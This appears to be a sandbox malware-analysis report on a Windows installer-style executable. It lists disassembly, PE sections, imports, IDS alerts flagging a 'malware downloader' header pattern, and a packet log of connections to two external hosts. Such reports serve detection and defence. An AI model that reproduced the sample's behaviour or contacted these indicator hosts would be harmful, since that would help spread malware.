cmp ax, 00000006h
mov dword ptr [007A8A2Ch], eax
je 00007F12E8B15293h
push ebx
call 00007F12E8B18545h
cmp eax, ebx
je 00007F12E8B15289h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007F12E8B184BFh
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007F12E8B1526Ch
push 0000000Ah
call 00007F12E8B18518h
push 00000008h
call 00007F12E8B18511h
push 00000006h
mov dword ptr [007A8A24h], eax
call 00007F12E8B18505h
cmp eax, ebx
je 00007F12E8B15291h
push 0000001Eh
call eax
test eax, eax
je 00007F12E8B15289h
or byte ptr [007A8A2Fh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [007A8AF8h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 0079FEE0h
call dword ptr [00408188h]
push 0040A2C8h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x84fc	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3c7000	0x17000	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6400	0x6400	eed0986138e3ef22dbb386f4760a55c0	False	0.6783203125	data	6.511089687733535	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x138e	0x1400	2914bac53cd4485c9822093463e4eea6	False	0.4509765625	data	5.146454805063938	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x39eb38	0x600	09e0c528682cd2747c63b7ba39c2cc23	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x3a9000	0x1e000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3c7000	0x17000	0x17000	c8f8279129ad38fd03ee7b50a97e5aea	False	0.21903659986413043	data	5.096977274603887	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x3c7388	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x3c76f0	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.16976221459836743
RT_ICON	0x3d7f18	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.32863070539419087
RT_ICON	0x3da4c0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.42424953095684803
RT_ICON	0x3db568	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.30730277185501065
RT_ICON	0x3dc410	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.32445848375451264
RT_ICON	0x3dccb8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.2579479768786127
RT_ICON	0x3dd220	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.6374113475177305
RT_DIALOG	0x3dd688	0x144	data	English	United States	0.5216049382716049
RT_DIALOG	0x3dd7d0	0x13c	data	English	United States	0.5506329113924051
RT_DIALOG	0x3dd910	0x100	data	English	United States	0.5234375
RT_DIALOG	0x3dda10	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x3ddb30	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x3ddbf8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x3ddc58	0x68	data	English	United States	0.7211538461538461
RT_MANIFEST	0x3ddcc0	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
KERNEL32.dll	SetEnvironmentVariableW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, SetCurrentDirectoryW, GetFileAttributesW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, GetDiskFreeSpaceW, ExitProcess, GetShortPathNameW, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, CreateFileW, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalLock, GlobalUnlock, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T10:25:35.539618+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49738	132.226.8.169	80	TCP
2024-11-20T10:25:36.805200+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49738	132.226.8.169	80	TCP
2024-11-20T10:25:37.385156+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49740	188.114.96.3	443	TCP
2024-11-20T10:25:38.414708+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49741	132.226.8.169	80	TCP
2024-11-20T10:25:48.275983+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49754	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 10:25:31.731252909 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:31.731300116 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:31.731375933 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:31.731689930 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:31.731707096 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.330483913 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.330626965 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.331367016 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.331434965 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.335019112 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.335043907 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.335340977 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.337003946 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.337383986 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.379343033 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.713407993 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.713428974 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.713511944 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.713578939 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.713862896 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.715241909 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.715250969 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.715327978 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.715349913 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.715414047 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.716185093 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.716248989 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.801441908 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.801630020 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.801686049 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.801851988 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.802865028 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.802979946 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.802994013 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.803088903 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.804335117 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.804450035 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.804464102 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.804532051 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.806314945 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.806415081 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.806432962 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.806725979 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.823935986 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.824053049 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.824117899 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.824179888 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.824327946 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.824389935 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.824407101 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.824455023 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.894623995 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.894772053 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.894793987 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.895586967 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.895634890 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.895699024 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.895704985 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.895773888 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.896682978 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.896753073 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.896768093 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.896831036 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.897469997 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.897536993 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.897547960 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.897618055 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.898526907 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.898597956 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.898605108 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.898698092 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.899509907 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.899604082 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.899609089 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.899719954 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.916994095 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.917110920 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.917179108 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.917366982 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.917504072 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.917576075 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.917588949 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.917655945 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.986284018 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.986413956 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.986429930 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.987077951 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.987152100 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.987160921 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.987288952 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.988327980 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.988343954 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.988508940 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.988518000 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.988897085 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.990025997 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.990044117 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.990106106 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.990114927 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.991334915 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.991355896 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.991415024 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.991430044 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.991436958 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.992923975 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.992973089 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.992989063 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.993057013 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.993066072 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.993082047 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.993117094 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.995922089 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.995938063 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.996011972 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:32.996026039 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:32.997260094 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:33.006609917 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:33.006627083 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:33.006827116 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:33.006850958 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:33.007009983 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:33.075102091 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:33.075126886 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:33.075222015 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:33.075253010 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:33.075365067 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:33.076024055 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:33.076040983 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:33.076097965 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:33.076107979 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:33.076150894 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:33.076165915 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:33.076946974 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:33.076958895 CET	443	49737	13.107.43.12	192.168.2.4
Nov 20, 2024 10:25:33.077024937 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:33.077024937 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:33.077055931 CET	49737	443	192.168.2.4	13.107.43.12
Nov 20, 2024 10:25:33.703627110 CET	49738	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:33.710102081 CET	80	49738	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:33.710190058 CET	49738	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:33.710424900 CET	49738	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:33.716813087 CET	80	49738	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:35.219367981 CET	80	49738	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:35.224206924 CET	49738	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:35.229438066 CET	80	49738	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:35.498595953 CET	80	49738	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:35.539618015 CET	49738	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:35.853627920 CET	49739	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:35.853677988 CET	443	49739	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:35.853756905 CET	49739	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:35.857099056 CET	49739	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:35.857112885 CET	443	49739	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:36.331302881 CET	443	49739	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:36.331427097 CET	49739	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:36.334958076 CET	49739	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:36.334970951 CET	443	49739	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:36.335283995 CET	443	49739	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:36.339225054 CET	49739	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:36.383326054 CET	443	49739	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:36.471713066 CET	443	49739	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:36.471786022 CET	443	49739	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:36.471955061 CET	49739	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:36.478322983 CET	49739	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:36.484253883 CET	49738	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:36.489305019 CET	80	49738	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:36.755038977 CET	80	49738	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:36.757344007 CET	49740	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:36.757447004 CET	443	49740	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:36.757551908 CET	49740	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:36.757909060 CET	49740	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:36.757946014 CET	443	49740	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:36.805200100 CET	49738	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:37.224391937 CET	443	49740	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:37.226773977 CET	49740	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:37.226830959 CET	443	49740	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:37.385181904 CET	443	49740	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:37.385251045 CET	443	49740	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:37.385499954 CET	49740	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:37.385796070 CET	49740	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:37.389491081 CET	49738	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:37.390630007 CET	49741	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:37.397577047 CET	80	49738	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:37.397672892 CET	49738	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:37.398545980 CET	80	49741	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:37.398798943 CET	49741	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:37.398798943 CET	49741	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:37.405586958 CET	80	49741	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:38.371088982 CET	80	49741	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:38.372483969 CET	49742	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:38.372514963 CET	443	49742	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:38.372613907 CET	49742	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:38.372860909 CET	49742	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:38.372879028 CET	443	49742	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:38.414707899 CET	49741	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:38.831259966 CET	443	49742	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:38.832901001 CET	49742	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:38.832936049 CET	443	49742	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:38.954930067 CET	443	49742	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:38.955002069 CET	443	49742	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:38.955085039 CET	49742	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:38.955456018 CET	49742	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:38.960001945 CET	49743	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:38.966016054 CET	80	49743	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:38.966129065 CET	49743	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:38.966211081 CET	49743	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:38.971894026 CET	80	49743	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:39.998114109 CET	80	49743	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:39.999418974 CET	49744	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:39.999458075 CET	443	49744	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:39.999536037 CET	49744	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:39.999844074 CET	49744	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:39.999855995 CET	443	49744	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:40.039597034 CET	49743	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:40.454385996 CET	443	49744	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:40.456195116 CET	49744	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:40.456223011 CET	443	49744	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:40.580775976 CET	443	49744	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:40.580838919 CET	443	49744	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:40.580900908 CET	49744	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:40.581424952 CET	49744	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:40.585087061 CET	49743	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:40.586155891 CET	49745	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:40.591634989 CET	80	49743	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:40.591748953 CET	49743	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:40.592398882 CET	80	49745	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:40.592530966 CET	49745	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:40.592730999 CET	49745	80	192.168.2.4	132.226.8.169
Nov 20, 2024 10:25:40.598993063 CET	80	49745	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:41.391211033 CET	80	49745	132.226.8.169	192.168.2.4
Nov 20, 2024 10:25:41.392409086 CET	49746	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:41.392440081 CET	443	49746	188.114.96.3	192.168.2.4
Nov 20, 2024 10:25:41.392532110 CET	49746	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:41.392786026 CET	49746	443	192.168.2.4	188.114.96.3
Nov 20, 2024 10:25:41.392800093 CET	443	49746	188.114.96.3	192.168.2.4
